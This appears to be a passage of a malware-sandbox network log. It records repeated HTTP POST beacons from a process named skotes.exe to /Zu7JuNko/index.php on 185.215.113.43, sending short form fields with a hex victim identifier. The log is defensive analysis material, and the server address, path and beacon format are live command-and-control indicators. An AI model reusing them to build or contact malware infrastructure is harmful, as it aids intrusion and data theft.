Nov 16, 2024 19:27:50.159826994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:51.070640087 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.5	50915	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:52.590883017 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:53.504005909 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.5	50916	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:55.138531923 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:27:56.038052082 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.5	50917	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:27:57.559950113 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:27:58.480493069 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:27:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.5	50918	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:00.106632948 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:01.015779018 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.5	50920	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:02.533806086 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:03.438622952 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.5	50921	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:05.076575041 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:05.981749058 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.5	50922	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:07.499293089 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:08.409048080 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.5	50923	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:10.044034004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:10.957355022 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.5	50924	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:12.467890978 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:13.374552965 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.5	50925	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:15.002572060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:15.908229113 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.5	50926	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:17.420509100 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:18.340082884 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	50927	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:19.971266031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:20.879023075 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	50928	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:22.403532028 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:23.319273949 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	50929	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:24.943072081 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:25.876183987 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	50931	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:27.388339043 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:28.294764042 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	50932	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:29.921334982 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:30.822072983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	50933	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:32.342349052 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:33.274236917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	50934	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:34.888632059 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:35.805259943 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	50936	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:37.331182003 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:38.246743917 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	50937	185.215.113.43	80	3176	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:39.867089987 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:40.767573118 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	50938	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:42.299200058 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 37 32 36 37 31 42 36 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB72671B65A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 16, 2024 19:28:43.218803883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	50942	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 16, 2024 19:28:44.840594053 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 16, 2024 19:28:45.746095896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 16 Nov 2024 18:28:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	50944	185.215.113.43	80	8668	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
